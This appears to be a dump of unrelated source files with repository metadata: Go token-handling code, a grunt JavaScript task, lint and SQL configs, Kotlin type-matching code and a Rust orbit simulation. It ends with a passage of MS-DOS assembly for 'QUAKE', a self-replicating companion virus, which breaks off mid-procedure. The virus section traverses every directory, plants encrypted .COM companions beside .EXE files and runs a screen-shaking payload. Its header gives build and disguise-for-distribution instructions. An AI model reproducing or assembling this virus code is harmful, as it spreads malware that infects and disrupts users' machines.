m.mtx.Lock()
defer m.mtx.Unlock()
if user, ok = m.Users[userID]; !ok {
return "", fmt.Errorf("invalid credentials")
}
passwordDecoded := user.passwordDecoded
if passwordDecoded != pwd {
return "", fmt.Errorf("invalid username or password")
}
// check if a user is already has got token. If existing token expired then
// delete it and reissue a new token
if token, ok = m.tokens[userID]; ok {
if token.Expires.After(time.Now()) {
return token.Token, nil
}
delete(m.tokens, userID)
}
// generate token
issued := time.Now()
if conf.Auth.ExpirePeriod == 0 {
expires = issued.Add(foreverTokenTime)
} else {
expires = issued.Add(conf.Auth.ExpirePeriod)
}
// put all useful info into token: who owns the token, when it was issued,
// when it expires and credentials to log in AWS, GCP etc
t := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"issued": issued.Format(time.RFC822),
"expires": expires.Format(time.RFC822),
"username": userID,
})
tokenString, err := t.SignedString([]byte(conf.Auth.Secret))
if err != nil {
return "", fmt.Errorf("failed to generate token: %v", err)
}
token = &tokenInfo{
UserID: userID,
Issued: issued,
Expires: expires,
Token: tokenString,
}
m.tokens[userID] = token
return tokenString, nil
}
// Delete existing token, a.k.a log out
// If the token was removed successfully then it sends the proxy a new valid token list
func (m *userManager) revokeToken(token string) {
m.mtx.Lock()
for id, info := range m.tokens {
if info.Token == token {
delete(m.tokens, id)
break
}
}
m.mtx.Unlock()
// send the token in all case to allow an admin to revoke
// an existing token even after cluster restart
go m.broadcastRevoked(token)
}
func (m *userManager) userByToken(token string) (*userInfo, error) {
m.mtx.Lock()
defer m.mtx.Unlock()
for id, info := range m.tokens {
if info.Token == token {
if info.Expires.Before(time.Now()) {
delete(m.tokens, id)
return nil, fmt.Errorf("token expired")
}
user, ok := m.Users[id]
if !ok {
return nil, fmt.Errorf("invalid token")
}
return user, nil
}
}
return nil, fmt.Errorf("token not found")
}
| 25.577358 | 103 | 0.669371 |
39c78dc28eff14be81be0367beff732e1025fc60
| 2,838 |
js
|
JavaScript
|
webapp/node_modules/grunt-manifest/tasks/manifest.js
|
fullrange-interactive/pmw
|
c9e23f6870b266eab8382f7825e5a159ff116c93
|
[
"MIT"
] | 5 |
2018-07-05T03:18:16.000Z
|
2020-01-13T13:44:46.000Z
|
webapp/node_modules/grunt-manifest/tasks/manifest.js
|
fullrange-interactive/pmw
|
c9e23f6870b266eab8382f7825e5a159ff116c93
|
[
"MIT"
] | null | null | null |
webapp/node_modules/grunt-manifest/tasks/manifest.js
|
fullrange-interactive/pmw
|
c9e23f6870b266eab8382f7825e5a159ff116c93
|
[
"MIT"
] | null | null | null |
/*
* grunt-manifest
* https://github.com/gunta/grunt-manifest
*
* Copyright (c) 2013 Gunther Brunner, contributors
* Licensed under the MIT license.
* https://github.com/gunta/grunt-manifest/blob/master/LICENSE-MIT
*/
'use strict';
module.exports = function (grunt) {
grunt.registerMultiTask('manifest', 'Generate HTML5 cache manifest', function () {
var options = this.options({verbose: true, timestamp: true});
var done = this.async();
grunt.verbose.writeflags(options, 'Options');
this.files.forEach(function(file) {
var files;
var cacheFiles = options.cache;
var contents = 'CACHE MANIFEST\n';
// check to see if src has been set
if (typeof file.src === "undefined") {
grunt.fatal('Need to specify which files to include in the manifest.', 2);
}
// if a basePath is set, expand using the original file pattern
if (options.basePath) {
files = grunt.file.expand({cwd: options.basePath}, file.orig.src);
} else {
files = file.src;
}
// Exclude files
if (options.exclude) {
files = files.filter(function (item) {
return options.exclude.indexOf(item) === -1;
});
}
// Set default destination file
if (!file.dest) {
file.dest = 'manifest.appcache';
}
if (options.verbose) {
contents += '# This manifest was generated by grunt-manifest HTML5 Cache Manifest Generator\n';
}
if (options.timestamp) {
contents += '# Time: ' + new Date() + '\n';
}
// Cache section
contents += '\nCACHE:\n';
// add files to explicit cache manually
if (cacheFiles) {
cacheFiles.forEach(function (item) {
contents += item + '\n';
});
}
// add files to explicit cache
if (files) {
files.forEach(function (item) {
contents += item + '\n';
});
}
// Network section
if (options.network) {
contents += '\nNETWORK:\n';
options.network.forEach(function (item) {
contents += item + '\n';
});
} else {
// If there's no network section, add a default '*' wildcard
contents += '\nNETWORK:\n';
contents += '*\n';
}
// Fallback section
if (options.fallback) {
contents += '\nFALLBACK:\n';
options.fallback.forEach(function (item) {
contents += item + '\n';
});
}
// Settings section
if (options.preferOnline) {
contents += '\nSETTINGS:\n';
contents += 'prefer-online\n';
}
grunt.verbose.writeln('\n' + (contents).yellow);
grunt.file.write(file.dest, contents);
grunt.log.writeln('File "' + file.dest + '" created.');
done();
});
});
};
| 25.115044 | 103 | 0.555321 |
e746f5db7a931aaf9edd7bd0543eac9a25e07dda
| 790 |
js
|
JavaScript
|
.eslintrc.js
|
juicecube/mlz-swiper
|
26439e66ce2e36a44952dcfca367ba22ec832e58
|
[
"MIT"
] | null | null | null |
.eslintrc.js
|
juicecube/mlz-swiper
|
26439e66ce2e36a44952dcfca367ba22ec832e58
|
[
"MIT"
] | null | null | null |
.eslintrc.js
|
juicecube/mlz-swiper
|
26439e66ce2e36a44952dcfca367ba22ec832e58
|
[
"MIT"
] | null | null | null |
module.exports = {
'extends': './node_modules/@mlz/lint/ts-eslintrc-react.js',
'rules': {
'react/no-deprecated': 0, // 不开启废弃方法检查,例如componentWillReceiveProps
'react/no-children-prop': 0,
'@typescript-eslint/no-empty-interface': 0, // 不开启空interface类型检查
'react/sort-comp': 0, // 不开启组件内方法顺序检查
'react/no-array-index-key': 0, // 允许index作为key值
'@typescript-eslint/no-this-alias': 0, // 允许赋值this给变量
'react-hooks/exhaustive-deps': 0, // useEffect不检查第二个参数的依赖
'@typescript-eslint/camelcase': 0,
'react/jsx-closing-tag-location': 0,
'react/prop-types': 0,
'react/no-multi-comp': 0,
'@typescript-eslint/naming-convention': 0,
'@typescript-eslint/explicit-module-boundary-types': 0,
'react-hooks/rules-of-hooks': 'error', // 检查 Hook 的规则
},
};
| 41.578947 | 70 | 0.667089 |
db0bd7a4bea72273d93ad84b529d7d7aff784de8
| 30 |
sql
|
SQL
|
docker-entrypoint-initdb.d/create_iroase_role.sql
|
iroase-app/server
|
22b60c9c1cf32b54eb2568530e1ef8b693df3c2b
|
[
"BSD-3-Clause"
] | 1 |
2021-10-10T16:02:00.000Z
|
2021-10-10T16:02:00.000Z
|
docker-entrypoint-initdb.d/create_iroase_role.sql
|
iroase-app/server
|
22b60c9c1cf32b54eb2568530e1ef8b693df3c2b
|
[
"BSD-3-Clause"
] | null | null | null |
docker-entrypoint-initdb.d/create_iroase_role.sql
|
iroase-app/server
|
22b60c9c1cf32b54eb2568530e1ef8b693df3c2b
|
[
"BSD-3-Clause"
] | null | null | null |
CREATE ROLE iroase WITH LOGIN;
| 30 | 30 | 0.833333 |
19fc9825f80f915b53781e5282d4bb487698f220
| 5,250 |
kt
|
Kotlin
|
idea/ide-common/src/org/jetbrains/kotlin/idea/util/FuzzyType.kt
|
zarechenskiy/kotlin
|
cb9c28e73fc3f88d8e08ec7661ac169434c8311f
|
[
"Apache-2.0"
] | null | null | null |
idea/ide-common/src/org/jetbrains/kotlin/idea/util/FuzzyType.kt
|
zarechenskiy/kotlin
|
cb9c28e73fc3f88d8e08ec7661ac169434c8311f
|
[
"Apache-2.0"
] | null | null | null |
idea/ide-common/src/org/jetbrains/kotlin/idea/util/FuzzyType.kt
|
zarechenskiy/kotlin
|
cb9c28e73fc3f88d8e08ec7661ac169434c8311f
|
[
"Apache-2.0"
] | null | null | null |
/*
* Copyright 2010-2015 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jetbrains.kotlin.idea.util
import org.jetbrains.kotlin.types.JetType
import org.jetbrains.kotlin.descriptors.TypeParameterDescriptor
import org.jetbrains.kotlin.descriptors.CallableDescriptor
import org.jetbrains.kotlin.utils.addIfNotNull
import java.util.HashSet
import org.jetbrains.kotlin.resolve.calls.inference.ConstraintSystemImpl
import java.util.LinkedHashMap
import org.jetbrains.kotlin.types.Variance
import org.jetbrains.kotlin.resolve.calls.inference.ConstraintsUtil
import org.jetbrains.kotlin.types.TypeSubstitutor
import org.jetbrains.kotlin.types.typeUtil.isSubtypeOf
import org.jetbrains.kotlin.resolve.calls.inference.constraintPosition.ConstraintPositionKind
fun CallableDescriptor.fuzzyReturnType(): FuzzyType? {
val returnType = getReturnType() ?: return null
return FuzzyType(returnType, getTypeParameters())
}
fun CallableDescriptor.fuzzyExtensionReceiverType(): FuzzyType? {
val receiverParameter = getExtensionReceiverParameter()
return if (receiverParameter != null) FuzzyType(receiverParameter.getType(), getTypeParameters()) else null
}
fun FuzzyType.makeNotNullable() = FuzzyType(type.makeNotNullable(), freeParameters)
fun FuzzyType.makeNullable() = FuzzyType(type.makeNullable(), freeParameters)
fun FuzzyType.nullability() = type.nullability()
class FuzzyType(
val type: JetType,
freeParameters: Collection<TypeParameterDescriptor>
) {
private val usedTypeParameters: HashSet<TypeParameterDescriptor>?
public val freeParameters: Set<TypeParameterDescriptor>
init {
if (freeParameters.isNotEmpty()) {
usedTypeParameters = HashSet()
usedTypeParameters.addUsedTypeParameters(type)
this.freeParameters = freeParameters.filter { it in usedTypeParameters }.toSet()
}
else {
usedTypeParameters = null
this.freeParameters = setOf()
}
}
override fun equals(other: Any?) = other is FuzzyType && other.type == type && other.freeParameters == freeParameters
override fun hashCode() = type.hashCode()
private fun MutableSet<TypeParameterDescriptor>.addUsedTypeParameters(type: JetType) {
addIfNotNull(type.getConstructor().getDeclarationDescriptor() as? TypeParameterDescriptor)
for (argument in type.getArguments()) {
addUsedTypeParameters(argument.getType())
}
}
public fun checkIsSubtypeOf(otherType: JetType): TypeSubstitutor?
= matchedSubstitutor(otherType, MatchKind.IS_SUBTYPE)
public fun checkIsSuperTypeOf(otherType: JetType): TypeSubstitutor?
= matchedSubstitutor(otherType, MatchKind.IS_SUPERTYPE)
private enum class MatchKind {
IS_SUBTYPE
IS_SUPERTYPE
}
private fun matchedSubstitutor(otherType: JetType, matchKind: MatchKind): TypeSubstitutor? {
if (type.isError()) return null
if (otherType.isError()) return null
fun JetType.checkInheritance(otherType: JetType): Boolean {
return when (matchKind) {
MatchKind.IS_SUBTYPE -> this.isSubtypeOf(otherType)
MatchKind.IS_SUPERTYPE -> otherType.isSubtypeOf(this)
}
}
if (usedTypeParameters == null || usedTypeParameters.isEmpty()) {
return if (type.checkInheritance(otherType)) TypeSubstitutor.EMPTY else null
}
val constraintSystem = ConstraintSystemImpl()
val typeVariables = LinkedHashMap<TypeParameterDescriptor, Variance>()
for (typeParameter in freeParameters) {
typeVariables[typeParameter] = Variance.INVARIANT
}
constraintSystem.registerTypeVariables(typeVariables)
when (matchKind) {
MatchKind.IS_SUBTYPE -> constraintSystem.addSubtypeConstraint(type, otherType, ConstraintPositionKind.SPECIAL.position())
MatchKind.IS_SUPERTYPE -> constraintSystem.addSubtypeConstraint(otherType, type, ConstraintPositionKind.SPECIAL.position())
}
if (constraintSystem.getStatus().isSuccessful() && ConstraintsUtil.checkBoundsAreSatisfied(constraintSystem, true)) {
// currently ConstraintSystem return successful status in case there are problems with nullability
// that's why we have to check subtyping manually
val substitutor = constraintSystem.getResultingSubstitutor()
val substitutedType = substitutor.substitute(type, Variance.INVARIANT)
return if (substitutedType != null && substitutedType.checkInheritance(otherType)) substitutor else null
}
else {
return null
}
}
}
| 41.338583 | 135 | 0.724381 |
ada541d03d501f3f49006046587dfaeaa1e3f73b
| 7,100 |
rs
|
Rust
|
task12_1/src/main.rs
|
HaronK/aoc2019
|
958c0a8fa125fbdc463115a78966fd31b3da7efb
|
[
"MIT"
] | 1 |
2019-12-12T13:11:51.000Z
|
2019-12-12T13:11:51.000Z
|
task12_1/src/main.rs
|
HaronK/aoc2019
|
958c0a8fa125fbdc463115a78966fd31b3da7efb
|
[
"MIT"
] | null | null | null |
task12_1/src/main.rs
|
HaronK/aoc2019
|
958c0a8fa125fbdc463115a78966fd31b3da7efb
|
[
"MIT"
] | null | null | null |
use anyhow::Result;
use std::fmt;
use std::fs::File;
use std::io::prelude::*;
use std::ops::*;
// use termion;
fn main() -> Result<()> {
let mut content = String::new();
let mut file = File::open("input.txt")?;
file.read_to_string(&mut content)?;
let mut moons = parse(content)?;
let period = get_full_turn_period(&mut moons);
let total = total_energy(1000, &mut moons);
println!("Moons:");
dump_moons(&moons);
println!("Period: {}", period);
println!("Total energy: {}", total);
Ok(())
}
fn dump_moons(moons: &[Moon]) {
for moon in moons {
println!(" {}", moon);
}
}
fn total_energy(steps: usize, moons: &mut Vec<Moon>) -> usize {
for _s in 0..steps {
// println!("Step {}", s);
// dump_moons(&moons);
// println!("{}{}Step: ={}=", termion::clear::All, termion::cursor::Goto(1, 1), s);
// std::io::stdout().flush().unwrap();
process_once(moons);
}
// println!("After final step");
// dump_moons(&moons);
moons.iter().map(|m| m.energy()).sum()
}
fn get_full_turn_period(moons: &mut Vec<Moon>) -> usize {
let mut period: usize = 0;
let mut moons_period = vec![0; 3];
let orig = moons.clone();
loop {
period += 1;
process_once(moons);
if moons_period[0] == 0 && moons.iter().enumerate().all(|(i, m)| m.cmp_x(&orig[i])) {
moons_period[0] = period;
}
if moons_period[1] == 0 && moons.iter().enumerate().all(|(i, m)| m.cmp_y(&orig[i])) {
moons_period[1] = period;
}
if moons_period[2] == 0 && moons.iter().enumerate().all(|(i, m)| m.cmp_z(&orig[i])) {
moons_period[2] = period;
}
// println!("{}Step: {} Periods: {:?}", termion::cursor::Goto(1, 1), period, moons_period);
// std::io::stdout().flush().unwrap();
if moons_period.iter().all(|&p| p != 0) {
break;
}
}
let lcm1 = lcm(moons_period[0] + 1, moons_period[1] + 1);
lcm(lcm1, moons_period[2] + 1)
}
fn process_once(moons: &mut Vec<Moon>) {
let moons_len = moons.len();
for i in 1..moons_len {
let (left, right) = moons.split_at_mut(i);
// println!("left={} right={}", left.len(), right.len());
let this = &mut left[left.len() - 1];
for mut other in right {
this.update_vel(&mut other);
}
this.apply_vel();
}
moons[moons_len - 1].apply_vel();
}
fn lcm(v1: usize, v2: usize) -> usize {
v1 * v2 / gcd(v1, v2)
// while v1 != 0 {
// let old_v1 = v1;
// v1 = v2 % v1;
// v2 = old_v1;
// }
// v2
}
fn gcd(mut v1: usize, mut v2: usize) -> usize {
while v1 != 0 {
let old_v1 = v1;
v1 = v2 % v1;
v2 = old_v1;
}
v2
}
type CoordinateType = i64;
#[derive(Clone, PartialEq)]
struct Node3D {
x: CoordinateType,
y: CoordinateType,
z: CoordinateType,
}
impl Node3D {
fn new(x: CoordinateType, y: CoordinateType, z: CoordinateType) -> Self {
Self { x, y, z }
}
}
impl Default for Node3D {
fn default() -> Self {
Self { x: 0, y: 0, z: 0 }
}
}
impl AddAssign for Node3D {
fn add_assign(&mut self, other: Self) {
*self = Self {
x: self.x + other.x,
y: self.y + other.y,
z: self.z + other.z,
};
}
}
impl Neg for Node3D {
type Output = Node3D;
fn neg(self) -> Self::Output {
Self {
x: -self.x,
y: -self.y,
z: -self.z,
}
}
}
impl fmt::Display for Node3D {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "<{}, {}, {}>", self.x, self.y, self.z)
}
}
#[derive(Clone, PartialEq)]
struct Moon {
pos: Node3D,
vel: Node3D,
}
impl Moon {
fn new(x: CoordinateType, y: CoordinateType, z: CoordinateType) -> Self {
Self {
pos: Node3D::new(x, y, z),
vel: Node3D::default(),
}
}
fn update_vel(&mut self, other: &mut Moon) {
if self.pos.x < other.pos.x {
self.vel.x += 1;
other.vel.x -= 1;
} else if self.pos.x > other.pos.x {
self.vel.x -= 1;
other.vel.x += 1;
}
if self.pos.y < other.pos.y {
self.vel.y += 1;
other.vel.y -= 1;
} else if self.pos.y > other.pos.y {
self.vel.y -= 1;
other.vel.y += 1;
}
if self.pos.z < other.pos.z {
self.vel.z += 1;
other.vel.z -= 1;
} else if self.pos.z > other.pos.z {
self.vel.z -= 1;
other.vel.z += 1;
}
}
fn apply_vel(&mut self) {
self.pos += self.vel.clone();
}
fn potential(&self) -> usize {
(self.pos.x.abs() + self.pos.y.abs() + self.pos.z.abs()) as usize
}
fn kinetic(&self) -> usize {
(self.vel.x.abs() + self.vel.y.abs() + self.vel.z.abs()) as usize
}
fn energy(&self) -> usize {
self.potential() * self.kinetic()
}
fn cmp_x(&self, other: &Moon) -> bool {
self.pos.x == other.pos.x
}
fn cmp_y(&self, other: &Moon) -> bool {
self.pos.y == other.pos.y
}
fn cmp_z(&self, other: &Moon) -> bool {
self.pos.z == other.pos.z
}
}
impl fmt::Display for Moon {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "pos={}, vel={}", self.pos, self.vel)
}
}
fn parse<S: AsRef<str>>(positions: S) -> Result<Vec<Moon>> {
let mut moons = Vec::new();
for position in positions.as_ref().lines() {
let pos_str = position.trim();
if pos_str.is_empty() {
break;
}
let coord_str = &pos_str[1..pos_str.len() - 1];
let coord_vec: Vec<&str> = coord_str.split(',').map(|c| c.trim()).collect();
let x: CoordinateType = coord_vec[0][2..].parse()?;
let y: CoordinateType = coord_vec[1][2..].parse()?;
let z: CoordinateType = coord_vec[2][2..].parse()?;
moons.push(Moon::new(x, y, z));
}
Ok(moons)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test1() -> Result<()> {
common_test(
179,
2772,
10,
r#"<x=-1, y=0, z=2>
<x=2, y=-10, z=-7>
<x=4, y=-8, z=8>
<x=3, y=5, z=-1>"#,
)
}
#[test]
fn test2() -> Result<()> {
common_test(
1940,
4_686_774_924,
100,
r#"<x=-8, y=-10, z=0>
<x=5, y=5, z=10>
<x=2, y=-7, z=3>
<x=9, y=-8, z=-3>"#,
)
}
fn common_test(
expected_total: usize,
expected_period: usize,
steps: usize,
moons_str: &str,
) -> Result<()> {
let mut moons = parse(moons_str)?;
assert_eq!(expected_period, get_full_turn_period(&mut moons));
moons = parse(moons_str)?;
assert_eq!(expected_total, total_energy(steps, &mut moons));
Ok(())
}
}
| 23.58804 | 99 | 0.486901 |
3fdd781f9e50b90b5ad1e5c8b4ac2e2d7bdb1c4c
| 29,800 |
asm
|
Assembly
|
MSDOS/Virus.MSDOS.Unknown.vclquake.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3 |
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
MSDOS/Virus.MSDOS.Unknown.vclquake.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
MSDOS/Virus.MSDOS.Unknown.vclquake.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3 |
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
; -----------------------------------------------------------------------------
; QUAKE.ASM
; Created with Nowhere Man's Virus Creation Laboratory v1.00
;
; Heavily modified VCL and Original Code by the best Bleeding Edge virus
; writer: Night Breeze. See you all in fuckin' HELL!
;
; This is a "spawning" virus and, technically, a trojan horse. First time it
; is run, it will do the earthquake thing - but only after infecting another
; file first! When the infected file is executed (in it's directory) then it
; will infect another file and run the app. Then, when all files on that drive
; are infected, it will again do the earthquake thing!
;
; Build instructions:
;
; Assemble QUAKE.ASM to QUAKE.COM
; d:\tasm\tasm /mx /m2 /q /t quake
; link quake;
; exe2bin quake.exe quake.com
;
; Run QUAKE.COM and file the infected file...<g>
; Find file
; ATTRIB *.COM -r -h
;
; Get a copy of that file as it is encrypted...
; COPY filename.COM \mydir\TEMP.COM
;
; Compile QINJECT.PAS
;
; Cat the two files:
; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites)
;
; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
; user types or debugs the program, will see the strings. The REAL virus
; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
;
; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
; the victim to see an apparently good program - although he is getting
; fucked :)
;
;
; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
;
; -----------------------------------------------------------------------------
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
; -----------------------------------------------------------------------------
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
inc Show_Flag ; Inc infect count
mov si, offset spawn_name ; Save a copy of the
mov di, offset save_name ; file to "spawn"
cld
mov cx, 14 ; It's allways 14 bytes
rep movsb
call search_files ; Find and infect a file
mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value
cmp al, 0 ; Have we infected all files?
jz Effect ; If so, then do it!
cmp Show_Flag,3 ; Should we show display?
jl Effect
jmp short end00
Effect:
call EarthQuake ; Let's do it!
jmp short Finito ; And don't run app!
end00:
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset save_name ; SI points to true filename
int 02Eh ; DOS execution back-door
Finito:
mov ah,04Ch ; DOS terminate function
int 021h
main endp
; -----------------------------------------------------------------------------
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
; -----------------------------------------------------------------------------
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
; -----------------------------------------------------------------------------
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx, 00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
; -----------------------------------------------------------------------------
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end:
mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx, 00100011b ; CX holds file attributes
int 021h
xchg bx,ax ; BX holds file handle
call encrypt_code ; Write an encrypted copy
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
; -----------------------------------------------------------------------------
spawn_name db 0, 12 dup (?),13 ; Name for next spawn
save_name db 0, 12 dup (?),13 ; Name for current spawn
show_flag db 0 ; When 0 & 1 then show display
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
; =============================================================================
EarthQuake proc near
call InitCrt ; Initialize the vars
call DrawFrame ; Draw a frame in middle of screen
mov cx, 2 ; Make some noise
call Siren
mov si, OFFSET Warning ; Put Msg 1
mov dx,0718h ; Move to Row 8, column 20
call WriteStr
mov cx, 1
call Siren
mov si, OFFSET ToHills ; Put Msg 2
mov dx,0A16h ; Move to Row 10, column 18
call WriteStr
mov cx, 2 ; More noise
call Siren
call Shake ; Shake the screen - it's a quake!
call DrawFrame ; Draw a frame in middle of screen
mov si, OFFSET MadeIt ; Put Made It Msg
mov dx,081Fh
call WriteStr
cmp Show_Flag, 3
jl EarthDone
mov si, OFFSET BurmaShave ; Put Logo
mov dx,0C36h
call WriteStr
EarthDone:
ret
EarthQuake endp
Warning db '* * * Earthquake Warning! * * *', 0
ToHills db 'Head for the hills! Take cover!!!', 0
MadeIt db 'Whew! We Made It!', 0
BurmaShave db '-=[VCL/BEv]=-', 0
Table struc ; Structure of the Shaker Table
Iters db 0 ; Number of interations (quakes)
Cols db 0 ; Scroll number of columns
Pause dw 0 ; And then wait this much time
Table ends
QuakeTable Table < 3, 1, 500>
Table < 4, 2, 250>
Table < 5, 3, 175>
Table < 6, 4, 100>
Table <10, 5, 30>
Table <20, 5, 10>
Table <10, 5, 30>
Table < 5, 4, 100>
Table < 4, 3, 175>
Table < 3, 2, 250>
Table < 2, 1, 500>
Table < 0, 0, 0> ; End of data
; -----------------------------------------------------------------------------
Shake proc near
mov si, OFFSET QuakeTable ; Get pointer to table
xor cx,cx
ShakeNext:
mov cl, [si].Iters
jcxz ShakeDone
ShakeInner:
push cx ; Save for later
push si ; ditto
xor ax,ax ; duh...
mov al, [si].Cols ; Number of columns to scroll
push ax ; Get Ready
call ScrollRight ; Go...Scroll Screen to right
pop si ; Restore it
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
jle ShakeCont1 ; If less or equal then skip vert scroll
mov ah, 6 ; Scroll up 1 line
call Scroll ; Do it.
ShakeCont1:
mov cx, [si].Pause ; delay period
call Delay ; Wait around a bit
push si ; And save our table index for l8r
xor ax,ax ; duh...
mov al, [si].Cols ; Number of columns to scroll
push ax ; Get Ready...Set...
call ScrollLeft ; Go! ... Scroll screen left
pop si ; And restore our table index
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
jle ShakeCont2 ; If less or equal then skip vert scroll
mov ah, 7 ; Scroll up 1 line
call Scroll ; Do it.
ShakeCont2:
mov cx, [si].Pause ; pause again
call Delay ; Do it.
pop cx ; Get back our iteration counter
Loop ShakeInner ; Keep going
add si, 4 ; Move to next table element
jmp short ShakeNext ; Keep on doing it...
ShakeDone:
ret
Shake endp
; -----------------------------------------------------------------------------
; in: cx = number of times to do the siren
Siren proc near
KeepGoing:
push cx ; Save the count
mov ax, 880 ; Freq
mov bx, 500 ; Duration = 1/2 second
push ax ; Put Freq on stack
push bx ; Put Duration on stack
call Beep ; Make a noise
mov ax, 660 ; Freq
mov bx, 500 ; Duration = 1/5 second
push ax ; Put Freq on stack
push bx ; Put Duration on stack
call Beep ; Make more noise
pop cx ; Restore the count
loop KeepGoing ; So we can keep going
ret
Siren endp
; -----------------------------------------------------------------------------
; ds:si points to the null terminated string to print
; dx has row/col - dh=row
WriteStr proc near
mov bh,0 ; We'll be working on page 0
WriteMore:
mov al,[si] ; get the next character to print
cmp al, 0 ; done yet?
jz WriteDone ; Yep, so quit
inc si ; si++
mov ah,2 ; locate cursor at dx
int 10h ; do it
push cx ; save it for later
mov cx,1 ; count of characters to write!
mov ah,10 ; subfunction 10
int 10h ; call bios to do our dirty work
pop cx ; get it back
inc dx ; move to next cursor position
jmp short WriteMore ; keep going for cx
WriteDone:
ret
WriteStr endp
; -----------------------------------------------------------------------------
DrawFrame proc near
push bp ; Work around a stoopid bug in PC/XTs
mov ax, 0600h ; Draw and clear the outer frame
push ax ; Save for later
